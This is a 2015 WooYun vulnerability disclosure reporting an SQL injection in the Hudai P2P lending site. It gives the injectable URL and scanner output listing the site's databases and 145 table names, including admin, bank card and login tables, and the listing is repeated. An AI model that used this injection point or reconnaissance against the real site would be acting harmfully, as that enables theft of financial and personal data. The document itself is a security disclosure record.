当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128473

漏洞标题:P2P安全之互贷网主站存在SQL注入漏洞

相关厂商:互贷网

漏洞作者: 路人甲

提交时间:2015-07-22 22:25

修复时间:2015-09-05 22:26

公开时间:2015-09-05 22:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

互贷网是上海互信金融信息服务有限公司运营的一家高科技网络金融服务平台,成立于2013年8月份,总部位于国际 金融中心上海。作为中国最早的一批互联网投融资服务平台,互贷网结合全球金融发展的先进理念与互联网的技术创新, 建立了一个诚信、安全、透明、高效、创新的金融资产交易服务平台。现在,互贷网以其良好的口碑已成长为行业有影响 力的品牌之一。

详细说明:

注入点:http://www.hudai.com/loan/detail/ryb/58*.html (GET)
数据库:
available databases [4]:
[*] hudai
[*] information_schema
[*] mysql
[*] performance_schema
表:hudai表
[145 tables]
+---------------------------+
| dk_aboutus |
| dk_account |
| dk_account_cash |
| dk_account_log |
| dk_account_recharge |
| dk_activity |
| dk_adminuser |
| dk_agreement |
| dk_applicationupdate |
| dk_article |
| dk_articlelable |
| dk_articletype |
| dk_ask_answer |
| dk_ask_comment |
| dk_ask_lable |
| dk_ask_question |
| dk_ask_top |
| dk_ask_useful |
| dk_bank |
| dk_bankbranch |
| dk_bankcard |
| dk_beforeproduct |
| dk_bid_coupon |
| dk_bid_log |
| dk_bid_user_coupon |
| dk_borrow |
| dk_channel |
| dk_channelper |
| dk_charge |
| dk_city |
| dk_clause |
| dk_consultvisitor |
| dk_contact |
| dk_cookie |
| dk_cooperation |
| dk_coupon |
| dk_coupon_sort |
| dk_daypeizi |
| dk_daypeiziinfo |
| dk_daypeizijilu |
| dk_daypeizilog |
| dk_daypeizirepayment |
| dk_disclaimer |
| dk_dybagreement |
| dk_dybproject |
| dk_dybprojectbid |
| dk_dybprojectdanbaogongsi |
| dk_dybprojectdanbaoren |
| dk_dybprojectfangchan |
| dk_dybprojectguquanzhiya |
| dk_dybprojectimg |
| dk_dybprojectproperty |
| dk_dybprojectqiche |
| dk_dybprojectrepayment |
| dk_dybprojectrepaymentlog |
| dk_dybprojectuserinfo |
| dk_dybprojectziyougongsi |
| dk_dynamic |
| dk_faq |
| dk_faqsort |
| dk_feedback |
| dk_from_register |
| dk_guide |
| dk_hdcoin |
| dk_hdcoin_log |
| dk_hdcoin_telfare |
| dk_hdcoingame_result |
| dk_how |
| dk_idcardvalidator |
| dk_information |
| dk_insurance |
| dk_invest_score |
| dk_invest_score_log |
| dk_invite |
| dk_invitereward |
| dk_law |
| dk_links |
| dk_loan_apply |
| dk_message |
| dk_monthpeizi |
| dk_monthpeiziinfo |
| dk_monthpeizijilu |
| dk_monthpeizilog |
| dk_monthpeiziproduct |
| dk_monthpeizirepayment |
| dk_networth |
| dk_networthbid |
| dk_networthrepayment |
| dk_networthrepaymentlog |
| dk_news |
| dk_notice |
| dk_peiziaccount |
| dk_peiziaccountlog |
| dk_peiziparameter |
| dk_peizizhuijia |
| dk_principle |
| dk_privacy |
| dk_product |
| dk_productbaozhang |
| dk_producthetong |
| dk_project |
| dk_projectbid |
| dk_projectdanbaogongsi |
| dk_projectdanbaoren |
| dk_projectfangchan |
| dk_projectguquanzhiya |
| dk_projectimg |
| dk_projectproperty |
| dk_projectqiche |
| dk_projectrepayment |
| dk_projectrepaymentlog |
| dk_projectuserinfo |
| dk_projectziyougongsi |
| dk_province |
| dk_recommend_money |
| dk_recommend_money_log |
| dk_recommend_score |
| dk_recommend_score_log |
| dk_recommend_user |
| dk_recruit |
| dk_referee |
| dk_repayment |
| dk_repayment_log |
| dk_report |
| dk_retrieve |
| dk_retrievebymobile |
| dk_samebankcard |
| dk_shouji_yanzheng |
| dk_source |
| dk_tiaoji_account |
| dk_tiaoji_account_log |
| dk_tixian_yanzhengma |
| dk_tongjizhuizong |
| dk_uploadfile |
| dk_user |
| dk_user_check |
| dk_user_coupon |
| dk_user_data |
| dk_user_data_shenhe |
| dk_user_login |
| dk_user_login_log |
| dk_visit_user_relation |
| dk_visiter |
| dk_visitor |
| dk_visitrecord |
+---------------------------+
2亿交易额啊。。。好心动

漏洞证明:

注入点:http://www.hudai.com/loan/detail/ryb/58*.html (GET)
数据库:
available databases [4]:
[*] hudai
[*] information_schema
[*] mysql
[*] performance_schema
表:hudai表
[145 tables]
+---------------------------+
| dk_aboutus |
| dk_account |
| dk_account_cash |
| dk_account_log |
| dk_account_recharge |
| dk_activity |
| dk_adminuser |
| dk_agreement |
| dk_applicationupdate |
| dk_article |
| dk_articlelable |
| dk_articletype |
| dk_ask_answer |
| dk_ask_comment |
| dk_ask_lable |
| dk_ask_question |
| dk_ask_top |
| dk_ask_useful |
| dk_bank |
| dk_bankbranch |
| dk_bankcard |
| dk_beforeproduct |
| dk_bid_coupon |
| dk_bid_log |
| dk_bid_user_coupon |
| dk_borrow |
| dk_channel |
| dk_channelper |
| dk_charge |
| dk_city |
| dk_clause |
| dk_consultvisitor |
| dk_contact |
| dk_cookie |
| dk_cooperation |
| dk_coupon |
| dk_coupon_sort |
| dk_daypeizi |
| dk_daypeiziinfo |
| dk_daypeizijilu |
| dk_daypeizilog |
| dk_daypeizirepayment |
| dk_disclaimer |
| dk_dybagreement |
| dk_dybproject |
| dk_dybprojectbid |
| dk_dybprojectdanbaogongsi |
| dk_dybprojectdanbaoren |
| dk_dybprojectfangchan |
| dk_dybprojectguquanzhiya |
| dk_dybprojectimg |
| dk_dybprojectproperty |
| dk_dybprojectqiche |
| dk_dybprojectrepayment |
| dk_dybprojectrepaymentlog |
| dk_dybprojectuserinfo |
| dk_dybprojectziyougongsi |
| dk_dynamic |
| dk_faq |
| dk_faqsort |
| dk_feedback |
| dk_from_register |
| dk_guide |
| dk_hdcoin |
| dk_hdcoin_log |
| dk_hdcoin_telfare |
| dk_hdcoingame_result |
| dk_how |
| dk_idcardvalidator |
| dk_information |
| dk_insurance |
| dk_invest_score |
| dk_invest_score_log |
| dk_invite |
| dk_invitereward |
| dk_law |
| dk_links |
| dk_loan_apply |
| dk_message |
| dk_monthpeizi |
| dk_monthpeiziinfo |
| dk_monthpeizijilu |
| dk_monthpeizilog |
| dk_monthpeiziproduct |
| dk_monthpeizirepayment |
| dk_networth |
| dk_networthbid |
| dk_networthrepayment |
| dk_networthrepaymentlog |
| dk_news |
| dk_notice |
| dk_peiziaccount |
| dk_peiziaccountlog |
| dk_peiziparameter |
| dk_peizizhuijia |
| dk_principle |
| dk_privacy |
| dk_product |
| dk_productbaozhang |
| dk_producthetong |
| dk_project |
| dk_projectbid |
| dk_projectdanbaogongsi |
| dk_projectdanbaoren |
| dk_projectfangchan |
| dk_projectguquanzhiya |
| dk_projectimg |
| dk_projectproperty |
| dk_projectqiche |
| dk_projectrepayment |
| dk_projectrepaymentlog |
| dk_projectuserinfo |
| dk_projectziyougongsi |
| dk_province |
| dk_recommend_money |
| dk_recommend_money_log |
| dk_recommend_score |
| dk_recommend_score_log |
| dk_recommend_user |
| dk_recruit |
| dk_referee |
| dk_repayment |
| dk_repayment_log |
| dk_report |
| dk_retrieve |
| dk_retrievebymobile |
| dk_samebankcard |
| dk_shouji_yanzheng |
| dk_source |
| dk_tiaoji_account |
| dk_tiaoji_account_log |
| dk_tixian_yanzhengma |
| dk_tongjizhuizong |
| dk_uploadfile |
| dk_user |
| dk_user_check |
| dk_user_coupon |
| dk_user_data |
| dk_user_data_shenhe |
| dk_user_login |
| dk_user_login_log |
| dk_visit_user_relation |
| dk_visiter |
| dk_visitor |
| dk_visitrecord |
+---------------------------+
2亿交易额啊。。。好心动

修复方案:

你懂得

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝